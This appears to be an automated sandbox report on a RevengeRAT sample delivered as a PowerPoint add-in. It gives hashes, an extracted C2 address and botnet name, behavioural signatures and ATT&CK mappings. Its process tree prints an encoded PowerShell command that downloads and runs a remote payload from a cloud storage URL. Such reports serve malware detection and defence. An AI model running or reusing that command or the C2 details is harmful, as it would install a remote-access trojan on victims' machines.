revengerat | 9e28142248bbb95bf6c66e1b53b080a72e51bdc2072741b401a4450dd51644ab

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23-08-2024 05:27

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General

Target

-NF 7867-Voucher.ppam
Size

26KB
MD5

3795f414fbb682f1057af0812cae8a71
SHA1

8efdfd15634e16922a06a7e33646a57728fd9e64
SHA256

9e28142248bbb95bf6c66e1b53b080a72e51bdc2072741b401a4450dd51644ab
SHA512

3437cabf703b2ab55121c9112caa02640385ded13630239d0f392e68dd37a9d9437750434ad35f86f7c98da6ee4577b881b8d2bcd8965e9c5eb2e92289ab340a
SSDEEP

384:dXPZzJt2FTlJFNahWgNjCiUDwvRge0BX/Bht5EopLiQKyOsBybZlzU+Oi:VPZ1t29lJFNKXNeiqe0N/d5Dp3KugSi

Score

10^/10

revengerat nyancatrevenge discovery trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	832	3788	powershell.exe	83

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	832	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 832 set thread context of 5052	832	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3788	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
832	powershell.exe
832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	832	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3788	POWERPNT.EXE
3788	POWERPNT.EXE
3788	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 832	3788	POWERPNT.EXE	87
PID 3788 wrote to memory of 832	3788	POWERPNT.EXE	87
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91
PID 832 wrote to memory of 5052	832	powershell.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\-NF 7867-Voucher.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hyq4rmnz.mc4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/832-71-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-73-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-75-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-77-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-79-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-81-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-70-0x0000027F46C80000-0x0000027F46C98000-memory.dmp

Filesize
96KB

Download
memory/832-69-0x0000027F46C80000-0x0000027F46CA0000-memory.dmp

Filesize
128KB

Download
memory/832-68-0x0000027F468D0000-0x0000027F468F2000-memory.dmp

Filesize
136KB

Download
memory/3788-48-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-1-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-11-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-9-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-8-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-15-0x00007FFD61660000-0x00007FFD61670000-memory.dmp

Filesize
64KB

Download
memory/3788-22-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-36-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-47-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-50-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-51-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-49-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-0-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-12-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-13-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-10-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-6-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-7-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-5-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-14-0x00007FFD61660000-0x00007FFD61670000-memory.dmp

Filesize
64KB

Download
memory/3788-2-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-3-0x00007FFDA3D4D000-0x00007FFDA3D4E000-memory.dmp

Filesize
4KB

Download
memory/3788-4-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-111-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-110-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-87-0x00007FFDA3D4D000-0x00007FFDA3D4E000-memory.dmp

Filesize
4KB

Download
memory/3788-92-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-94-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-109-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-108-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/3788-97-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-98-0x00007FFDA3CB0000-0x00007FFDA3EA5000-memory.dmp

Filesize
2.0MB

Download
memory/3788-107-0x00007FFD63D30000-0x00007FFD63D40000-memory.dmp

Filesize
64KB

Download
memory/5052-96-0x0000000005220000-0x0000000005286000-memory.dmp

Filesize
408KB

Download
memory/5052-95-0x0000000005180000-0x000000000521C000-memory.dmp

Filesize
624KB

Download
memory/5052-86-0x0000000005290000-0x0000000005834000-memory.dmp

Filesize
5.6MB

Download
memory/5052-85-0x0000000000790000-0x000000000079A000-memory.dmp

Filesize
40KB

Download